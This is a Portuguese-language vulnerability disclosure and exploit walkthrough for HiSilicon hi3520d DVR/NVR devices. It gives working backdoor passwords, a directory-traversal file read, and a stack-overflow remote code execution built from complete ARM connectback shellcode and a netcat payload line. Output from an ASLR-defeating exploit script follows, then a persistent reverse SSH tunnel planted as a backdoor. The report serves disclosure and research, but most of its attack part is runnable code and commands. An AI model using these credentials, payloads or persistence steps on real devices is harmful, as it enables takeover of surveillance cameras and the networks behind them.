
Prova de conceito de exploit e divulgação de vulnerabilidades para dispositivos DVR/NVR HiSilicon hi3520d. Demonstra RCE via interface web, credenciais de backdoor e análise de buffer overflow.
= Hack de DVR HiSilicon Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Conteúdo :image_width: 100%
[abstract] Este relatório divulga vulnerabilidades graves (com código de prova de conceito (PoC)) de dispositivos DVR/NVR construídos com o HiSilicon hi3520d e system-on-a-chip (SoC) similares. A exploração das vulnerabilidades leva à execução remota de código (RCE) não autorizada usando apenas a interface web, causando a assunção total do dispositivo explorado. Devido à falta de firmwares atualizados, não é recomendado utilizar esses dispositivos. O fornecedor foi contactado antes de dezembro de 2016, mas ainda não houve resposta. A data de divulgação do comunicado é fevereiro de 2017.
== prefácio
Há alguns anos, comprei um dispositivo DVR chinês barato no eBay. O logotipo de inicialização do dispositivo diz: "SECULINK - Security Monitoring". Como entusiasta de segurança de TI, decidi analisar mais de perto o dispositivo para ver quão "seguro" é esse serviço de monitoramento de segurança. Pesquisando no Google sobre o assunto, encontrei alguns materiais interessantes, mas fui mais fundo e encontrei problemas muito mais interessantes e muito mais sérios (0-days) sobre o dispositivo.
Vamos dar uma olhada na sessão completa de hacking desde o início. (As novas conquistas próprias serão observadas, assim como as antigas e conhecidas.)
== explorando o DVR
Primeiro devemos aprender a interface oficial do usuário, depois aprofundar, talvez tentar obter o firmware. As chances de encontrar vulnerabilidades aumentam com o firmware.
=== o DVR à primeira vista
O dispositivo DVR destinado a testes tem a marca "Seculink".
image::./seculink_device.png[Dispositivo DVR Seculink]
Interfaces físicas disponíveis:
Interfaces oficiais do usuário:
A interface de configuração diretamente acessível é restrita por autenticação de usuário (nome de usuário, senha). O superusuário padrão é 'admin', a senha padrão é vazia.
Após definir uma senha forte, o usuário pode se sentir seguro de que a visualização de suas câmeras não é acessível por outras pessoas. As pessoas frequentemente encaminham a porta web (tcp/80) do dispositivo DVR para o lado WAN a partir de sua LAN segura para acessar os fluxos do DVR de fora (podemos verificar isso, por exemplo, com uma busca adequada no Shodan ;) ).
=== obtendo o firmware
Pode haver muitas maneiras de obter o firmware:
Embora o último método (download) funcione aqui e seja o mais fácil, vamos tentar o primeiro, porque ele também fornece outras informações sobre o dispositivo.
=== varredura de serviços
Vamos fazer uma varredura completa de portas no DVR. Observe que a varredura SYN (padrão se executada como root) é muito lenta devido a pacotes descartados, mas a varredura completa de conexão TCP termina em alguns minutos.
Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam
Resumindo e testando manualmente:
Observe que abrir o fluxo rtsp também requer credenciais.
Aqui devemos afirmar que o dispositivo é provavelmente algum sistema tipo Linux.
Conectar-se a 9527/tcp (via netcat puro) mostra o console do aplicativo
com mensagens de log e um prompt de login. Entrar com qualquer uma das
credenciais definidas do aplicativo funciona. Executar help após o
prompt dá uma descrição curta dos comandos do console. O comando
shell parece ser o mais interessante. Sim, ele dá um shell root para
os dispositivos. ;)
Observe que isso é obviamente um grave problema de segurança, porque nenhum usuário do aplicativo (com privilégios baixos) deveria obter um shell root no dispositivo automaticamente.
=== shell root
Explorando o dispositivo no shell root (por exemplo, com dmesg), fica
evidente que o DVR está executando um kernel Linux (versão 3.0.8), tem
uma CPU ARMv7, o modelo do SoC é hi3520d.
Pela lista de processos em execução (ps), fica claro que o aplicativo
DVR é /var/Sofia, que também está escutando em 34568/udp e
34569/udp, além das portas tcp acima detectadas pelo nmap
(netstat -nlup).
Pela lista de discos montados (comando mount), fica claro que a
imagem do firmware está nos dispositivos /dev/mtdblockX (onde X=0,1,2,3,4,5).
O firmware é pequeno e, portanto, limitado, então devemos ser criativos se quisermos copiar arquivos para/de o dispositivo. Felizmente, o NFS é suportado, então configurar um servidor NFS em nossa máquina desktop e montá-lo a partir do DVR resolve o problema:
Agora obter o firmware é simples:
Podemos obter os arquivos (não apenas as imagens brutas):
=== interface telnet
Para acessar o dispositivo através da interface telnet (porta 23/tcp),
podemos precisar de algumas credenciais do SO. Olhando em /etc/passwd, temos o
hash da senha do usuário root:
Observe que não há outro usuário além de root, tudo está rodando com privilégios totais. (Então, se alguém invadir o dispositivo de alguma forma, não há barreira, o invasor ganha poder total imediatamente.)
Assumindo uma senha alfanumérica de seis caracteres (minúsculas), o hashcat quebra o hash DES fraco acima rapidamente:
$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
absxcfbgXtb3o:xc3511
Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A
Então, com o usuário root e a senha xc3511, é possível fazer login pela interface
telnet na porta 23/tcp. Essa conta root codificada,
acessível na interface telnet que não pode ser fechada, é obviamente um backdoor.
Esses resultados já estavam quase disponíveis por outros antes de nossa pesquisa, mas o seguinte é completamente novo.
== engenharia reversa do firmware
Explorando o firmware, verifica-se que o binário /var/Sofia é o
aplicativo principal que implementa todas as interfaces, além do processamento de
vídeo e outros. Portanto, esse binário parece ser o mais interessante
para nós.
Infelizmente, ele é (linkado estaticamente e) stripado, o que dificulta a análise estática:
Portanto, além da análise estática (com radare2 ou IDA), a análise dinâmica deve ser muito útil.
=== gdb remoto
Para análise dinâmica, anexar o depurador do Projeto GNU (GDB) ao aplicativo remoto
/var/Sofia deve ser vantajoso. O método recomendado
é executar (e anexar) gdbserver no dispositivo remoto e conectar
gdb a ele a partir da máquina local.
É claro que precisamos de um gdbserver compilado (de preferência estaticamente) para a
arquitetura ARM apropriada. Para construí-lo, podemos usar
https://www.uclibc.org/[µClibc], que é a biblioteca C recomendada para
sistemas embarcados (como nosso DVR). Os builds disponíveis são builds dinâmicos,
que são problemáticos em nosso DVR, então devemos fazer builds estáticos personalizados
nós mesmos. Existe um excelente ambiente de build chamado
https://buildroot.org/[Buildroot] que faz o build funcionar
sem configuração adicional (selecione os aplicativos necessários (ex.: gdb) com
make menuconfig, não se esqueça de escolher bibliotecas estáticas, depois execute
make).
Após um curto tempo de build (~10-15 mins), todas as ferramentas necessárias devem estar
disponíveis. Os binários estáticos podem ser transferidos para o dispositivo pelo
método NFS mencionado anteriormente. Observe que o diretório /var
que contém o binário Sofia é um ramfs, portanto não é persistente entre
reinicializações. Se quisermos transferir os binários (quase) permanentemente, a
partição rw /mnt/mtd que contém os arquivos de configuração deve ser um
alvo adequado. Se você também compilar o pacote openssh, o scp estará
disponível, o que facilita a transferência de arquivos.
Agora o firmware está pronto para alguma engenharia reversa. Anexar gdbserver
remotamente agora está funcionando (obter o PID do processo Sofia é fácil com
ps):
Conectando a partir da máquina local:
Observe que é recomendado usar alguma extensão do GDB (como
http://gef.readthedocs.io/en/master/[GEF]). Se pausar
o aplicativo não funcionar (com C-c) por algum motivo, enviar um sinal TRAP
ao processo Sofia (com kill -TRAP 610) deve pausá-lo.
=== inspecionando o procedimento de autenticação
A ferramenta recomendada para análise estática é obviamente o https://www.hex-rays.com/products/ida/[IDA Pro] da Hex-Ray. Infelizmente, não é barato, mas é muito melhor do que qualquer outra ferramenta.
Há mais de 15.000 funções após a análise automática inicial, mas encontrar a função de autenticação é apenas um momento com o IDA (usando scripts Python simples). O trecho de https://www.hex-rays.com/products/ida/support/idapython_docs/[IDAPython] abaixo procura por todas as funções que referenciam qualquer coisa relacionada a "Users" e "Password" (ao mesmo tempo):
O resultado é apenas uma função: sub_2D857C. Uma análise rápida dessa
função confirma que esta deve ser a função de autenticação.
Há uma verificação inicial da senha em texto claro contra uma string
codificada (antes de obter o hash da senha do usuário a partir da configuração).
Se passar, a autenticação é concedida. Este é um backdoor feio no
aplicativo. A senha universal é: I0TO5Wv9.
Com essa senha, podemos acessar qualquer coisa no aplicativo como qualquer usuário (por exemplo, admin). Por exemplo, obtendo o fluxo de vídeo:
Ou obter um shell root no console do aplicativo (9527/tcp) também funciona:
$ nc 192.168.88.127 9527 nc: using stream socket
Mais um resultado interessante no algoritmo de autenticação:
em algumas circunstâncias, a função de autenticação aceita não apenas a
senha, mas também o hash. Abrir o fluxo de vídeo rtsp é
possível não apenas com a senha, mas também com o hash (que é armazenado
em /mnt/mtd/Config/Account1). Por exemplo, tlJwpbo6 é o
hash da senha vazia (veja também a próxima seção), então```
cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'
também funciona.
=== função de hash de senha
Outro resultado da análise estática (mais profunda) da função auth: a
função de hash de senha é `sub_3DD5E4`. É basicamente MD5 com algumas
transformações estranhas. Foi revertida e implementada em Python:
[source,python]
----
import hashlib
def sofia_hash(msg):
h = ""
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest()
for i in range(8):
n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
if n > 9:
if n > 35:
n += 61
else:
n += 55
else:
n += 0x30
h += chr(n)
return h
----
Com o algoritmo de hash implementado, é possível forçar senhas por força bruta ou definir
senhas arbitrárias.
== estouro de buffer no servidor web embutido
O binário Sofia trata as requisições HTTP na porta 80/tcp. Vamos tentar
um pouco de fuzzing com as requisições. Naturalmente, anexar o gdb (veja acima)
deve ser útil. Na verdade, devemos matar o processo Sofia e
reiniciá-lo com o gdbserver para ver também a saída do console:
----
$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
----
E localmente:
----
$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef> c
----
Agora vamos ver as requisições GET. Sem resposta:
----
$ echo 'GET /' | nc 192.168.88.127 80
----
Resposta normal (mesmo sem fechamento adequado e/ou nova linha no final):
----
$ echo -ne 'GET / HTTP' | nc 192.168.88.127 80
----
Teste para algum estouro com uma requisição muito longa:
----
$ python -c 'print "GET " + "a"*1000 + " HTTP"' | nc 192.168.88.127 80
----
Legal. A resposta é um 200 com uma mensagem "404 File Not Found", mas podemos
ver um crash maravilhoso no gdb. ;)
Observe que há um módulo de kernel watchdog habilitado para a aplicação
Sofia. Se ele não estiver em execução por um minuto, o dispositivo reinicia. Isso
é bom por um lado se experimentarmos com um dispositivo remoto, mas é
ruim por outro se quisermos depurar sem problemas.
O watchdog não pode ser desligado depois de iniciado, então a única
maneira de se livrar dele é modificar o firmware somente leitura via regravação (reflash).
Não é recomendado, a menos que queiramos brickar nosso dispositivo de teste. ;)
=== controle de fluxo do programa
Por que o crash é maravilhoso (do ponto de vista de um atacante)? O processo remoto
Sofia recebeu SIGSEGV (falha de segmentação), a pilha está preenchida com nossos
caracteres "a", mas o mais importante é: o registrador $pc (program counter)
tem nosso valor injetado `0x61616160` ("aaaa" - 1) nele
(provavelmente acionado por um ret, mas a causa não é importante). Isso
deve ser um estouro de pilha clássico, e isso significa que temos a
chance de controlar o fluxo do programa facilmente.
Depois de algumas experimentações (por divisão de intervalo):
----
$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' | nc 192.168.88.127 80
----
Isso também resulta em SIGSEGV, e o registrador $pc é `0x7a797876`
(~"wxyz"; invertido, porque a ordem dos bytes é little-endian; e -1
devido ao alinhamento). Nosso payload começa (com "0123aaa...") em $sp+0x14
(base da pilha + 0x14).
=== execução remota de código
Explorar tal estouro da maneira mais fácil e eficaz é injetando
algum shellcode na pilha e redirecionando o fluxo do programa para lá. Dessa
forma, obtemos execução remota arbitrária de código no alvo. Como não há
separação de privilégios no SO do dispositivo, isso significa controle total
(acesso a shell root).
No entanto, pode haver técnicas modernas de mitigação de exploits habilitadas
que podem tornar a vida do atacante muito mais difícil.
A maneira mais básica de proteção contra shellcodes na pilha é a
tecnologia do bit No-eXecute (NX). Isso pode impedir a execução de código em
páginas de memória selecionadas (geralmente páginas com permissão de escrita, como a pilha).
Felizmente (do ponto de vista do atacante ;) ), não há bit NX definido
(veja as flags STACK, rwx):
----
$ objdump -b elf32-littlearm -p Sofia
Sofia: file format elf32-littlearm
Program Header:
0x70000001 off 0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
filesz 0x000132a8 memsz 0x000132a8 flags r--
LOAD off 0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
filesz 0x005371dc memsz 0x005371dc flags r-x
LOAD off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
filesz 0x000089c8 memsz 0x000dad8c flags rw-
TLS off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
filesz 0x00000004 memsz 0x00000018 flags r--
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>
----
ou apenas use `checksec` no gdb gef. O `checksec` no gdb gef também nos diz
que não há outras mitigações presentes, como stack canary (o que
é óbvio, pois não poderíamos controlar $pc com estouro de pilha se
houvesse stack canary presente).
A única coisa que devemos saber antes de fazer o RCE funcionar é o endereço
da pilha. Devemos injetar o endereço $sp+0x14 na posição apropriada
do nosso payload ("wxyz" acima) para redirecionar o fluxo do programa para o
shellcode.
Há também uma técnica de mitigação que pode tornar isso mais difícil (ou
muito difícil, quase impossível em alguns casos): randomização do layout do
espaço de endereçamento (ASLR). O ASLR randomiza os endereços base dos segmentos
de memória (por exemplo, o endereço base da pilha).
Sem sorte, o ASLR está habilitado ("2" significa randomização completa, "0" está
desabilitado):
----
$ cat /proc/sys/kernel/randomize_va_space
2
----
==== RCE sem ASLR
Vamos tentar explorar o estouro primeiro com o ASLR desligado.
----
$ echo 0 > /proc/sys/kernel/randomize_va_space
----
Seguindo o procedimento acima, obtemos que o endereço da pilha ($sp) é
0x5a26f3d8 no momento do crash SIGSEGV (e é o mesmo em
diferentes execuções com o ASLR desligado).
Então o payload deve ser:
----
python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
----
onde o shellcode deve ser algo que queremos executar, preferencialmente um
shellcode de connectback. Observe que há "badchars", que devem ser
evitados: 0x00, 0x0d ('\n'), 0x20 (' '), 0x26 ('&'), 0x3f ('?').
Além disso, há um limite de tamanho de 299 bytes. Geradores de shellcode não
conseguem lidar com nossa lista de badchars, e mesmo usando codificadores automáticos não é
possível resolver o problema (por causa do limite de tamanho).
Então, um shellcode personalizado deve ser gerado. O shellcode aqui fornece um
shell de connectback usando chamadas de sistema socket, connect, dup2 e execve
(ou chamadas de supervisor, de acordo com a terminologia do mundo ARM). Temos
que ser rigorosos e criativos para evitar badchars. Rótulos não devem
ser usados, eles estão ali apenas para facilitar a leitura.
[source,asm]
----
.section .text
.global _start
@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0: add r1, pc, #1
_4: bx r1
@ thumb mode instructions
_start:
.code 16
@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8: add r1, pc, #68 @ r1 <- pc+68 = 0xc+68 = 0x50
_a: ldrb r2, [r1, #2] @ r2 <- *0x52
_c: sub r2, #1 @ r2 <- r2-1
_e: strb r2, [r1, #2] @ r2 -> *0x52
@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10: mov r1, #2 @ r1 <- 2
_12: add r0, r1, #0 @ r0 <- r1 + 0 = 2
_14: mov r1, #1 @ r1 <- 1
_16: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_18: lsl r7, r1, #8 @ r7 <- r1<<8 = 1<<8 = 256
_1a: add r7, #25 @ r7 <- r7 + 25 = 281
_1c: svc 1 @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)
@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e: add r6, r0, #0 @ r6 <- r0 + 0 = &socket
_20: add r1, pc, #44 @ r1 <- pc+44 = 0x24+44 = 0x50
_22: mov r3, #2 @ r3 <- 2
_24: strh r3, [r1, #0] @ 2 -> *0x50
_26: mov r2, #16 @ r2 <- 16
_28: add r7, #2 @ r7 <- r7 + 2 = 283
_2a: svc 1 @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)
@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c: mov r7, #62 @ r7 <- 62
_2e: add r7, #1 @ r7 <- r7 + 1 = 63
_30: mov r1, #200 @ r1 <- 200
_32: add r0, r6, #0 @ r0 <- r6 + 0 = &socket
_34: svc 1 @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36: sub r1, #1 @ r1 <- r1 - 1
_38: bpl _32 @ loop until r1>0 (dup2 every fd to the socket)
@ execve('/bin/sh', NULL, NULL)
_3a: add r0, pc, #28 @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_3e: strb r2, [r0, #7] @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40: push {r0, r2} @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42: mov r1, sp @ r1 <- sp
_44: mov r7, #11 @ r7 <- 11
_46: svc 1 @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)
_48: mov r7, #1 @ r7 <- 1
_4a: add r0, r7, #0 @ r0 <- r7 + 0 = 1
_4c: svc 1 @ svc_1(r0) = exit(1)
_4e: nop
@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50: .short 0xffff
_52: .short 0x697b @ port 31377 (hex(31337+0x100) in little-endian)
_54: .byte 192,168,88,100 @ inet addr: 192.168.88.100
_58: .ascii "/bin/shX" @ 'X' will be replaced with \x00 by the shellcode
.word 0xefbeadde @ deadbeef ;)
----
Compilando o shellcode e obtendo os bytes binários brutos (usar qualquer
ferramenta cruzada para ARM deve funcionar, por exemplo, as construídas com buildroot em
`buildroot-2017.02.5/output/host/usr/bin/` também servem):
----
$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
----
Injetar isso com o payload deve fazer o exploit funcionar, e deve
fornecer um shell de connectback ao dispositivo remoto.
Naturalmente, primeiro inicie um listener em `192.168.88.100`:
----
$ nc -nvlp 31337
----
Em seguida, inicie o payload:
----
$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex"); print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>
----
O exploit deve funcionar! :) No gdb local:
----
process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
----
E o RCE está pronto no listener netcat:
----
nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket
----
Agora é possível executar comandos arbitrários (como root!) no sistema remoto.
Mas infelizmente o exploit não está pronto para implantação no mundo real,
porque o ASLR está ligado e, portanto, não sabemos o endereço inicial
do shellcode. Ainda.
==== derrotando o ASLR
Derrotar o ASLR não é uma tarefa fácil, mas muitas vezes pode ser feito com um pouco
de criatividade. Normalmente, há duas maneiras de fazer isso:
* encontrar alguma fraqueza no randomizador e atacá-lo por força bruta
ou algum vazamento parcial / sobrescrita parcial,
* vazar os endereços de memória randomizados do binário remoto.
Bem, força bruta parece inútil (acionar um endereço inválido causa
crash e reinicialização lenta), então apenas o vazamento parece conveniente (se
encontrarmos algum).
Depois de uma longa pesquisa, quase foi preciso desistir, não foi possível encontrar nenhum
vazamento, mas então uma ideia surgiu de uma direção totalmente diferente.
Há uma vulnerabilidade diferente no servidor web, uma clássica
vulnerabilidade de travessia de diretório. Na verdade, ela também funciona para listar
diretórios (isso também será importante).
A vulnerabilidade de travessia de diretório significa:
----
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
----
e também podemos obter listagem de diretórios:
----
$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<H1>Index of /mnt/web/../../etc</H1>
<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>
----
Observe que essa vulnerabilidade é séria, porque o atacante pode ler
quaisquer arquivos, incluindo vídeos gravados (se o dispositivo tiver algum armazenamento
em HDD).
Além disso, a vulnerabilidade pode nos ajudar a derrotar o ASLR.
O sistema de arquivos `/proc` contém muitas informações sobre processos
em execução nos diretórios `/proc/[pid]`. Listar `/proc` é possível
usando `GET ../../proc`, dessa forma podemos obter todos os PIDs. Se o
`/proc/[pid]/cmdline` for `/var/Sofia`, o PID da aplicação é
encontrado.
As informações mais importantes para derrotar o ASLR estão em
`/proc/[pid]/smaps`. Este arquivo contém estatísticas de páginas de memória, contém
endereços de páginas e outras informações interessantes (por exemplo, rss). Por
exemplo:
----
$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
/var/Sofia
$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
...
4b699000-4be98000 rwxp 00000000 00:00 0
Size: 8188 kB
Rss: 4 kB
Pss: 4 kB
Shared_Clean: 0 kB
Shared_Dirty: 0 kB
Private_Clean: 0 kB
Private_Dirty: 4 kB
Referenced: 4 kB
Anonymous: 4 kB
AnonHugePages: 0 kB
Swap: 0 kB
KernelPageSize: 4 kB
MMUPageSize: 4 kB
Locked: 0 kB
...
----
Esta é apenas uma página, a listagem contém cerca de ~150 páginas.
Observando a estrutura acima (prestando atenção aos tamanhos das páginas,
padrões, etc.), podemos adivinhar (por experimentação e heurística) qual delas
contém a pilha da thread necessária. O deslocamento da pilha em relação ao
endereço base é constante (é 0x7fd3d8).
O trecho que adivinha a página de memória:
[source,python]
----
def guessregion(smaps):
for t in range(len(smaps)-7, 1, -1):
if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
return (t+3)
return (-1)
----
onde `smaps[t][1][0]` é o tamanho da `t`-ésima página completa,
`smaps[t][1][1]` é o RSS relacionado.
O trecho faz parte do script de exploit completo que funciona
automaticamente contra vários alvos HiSilicon com ASLR habilitado. Para uma
breve introdução sobre o script:
----
$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
[--lport LPORT] [--bhost BHOST] [--bport BPORT]
[-n] [-i] [-p] [-u] [--offset OFFSET]
[--cmdline CMDLINE]
exploit HiSilicon DVR devices
optional arguments:
-h, --help show this help message and exit
--rhost RHOST target host
--rport RPORT target port
--lhost LHOST connectback ip
--lport LPORT connectback port
--bhost BHOST listen ip to bind (default: connectback)
--bport BPORT listen port to bind (default: connectback)
-n, --nolisten do not start listener (you should care about connectback
listener on your own)
-i, --interactive select stack memory region interactively (rather than
using autodetection)
-p, --persistent make connectback shell persistent by restarting dvr app
automatically (DANGEROUS!)
-u, --upload upload tools (now hardcoded "./tools/dropbear" in script)
after pwn
--offset OFFSET exploit param stack offset to mem page base (default:
0x7fd3d8)
--cmdline CMDLINE cmdline of Sofia binary on remote target (default
"/var/Sofia")
----
=== pós-exploração
O que podemos fazer com este RCE? Tudo. Lembre-se de que este é um
RCE não autorizado que usa apenas a porta 80/tcp do serviço web. Essa porta
é comumente encaminhada para o exterior, então se um atacante explorar este RCE,
ele/ela obtém acesso à LAN interna.
Nosso script de exploit tem alguns recursos interessantes, como a capacidade de enviar
ferramentas (previamente compiladas) para o dispositivo vítima.
Se quisermos criar um backdoor persistente e estável, podemos enviar um
Dropbear, fazê-lo escutar localmente e abrir um túnel SSH reverso para
fora. Com essa arquitetura, será possível fazer login no dispositivo DVR
de qualquer lugar, a qualquer momento.$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 [email protected]
----
Agora o dispositivo está acessível através do túnel reverso usando SSH:
----
$ ssh -p2322 root@localhost
root@localhost's password:
BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
Welcome to Monitor Tech.
[root@LocalHost /]$
----
== resumo
Aqui estão as vulnerabilidades documentadas:
[cols="2,1,1,1,4",options="header",]
|=======================================================================
|vulnerabilidade |risco |serviço |descoberta |impacto
|senha telnet embutida (backdoor) |alto |23/tcp |anteriormente por outros
|qualquer pessoa que tenha acesso à interface telnet pode assumir o controle total
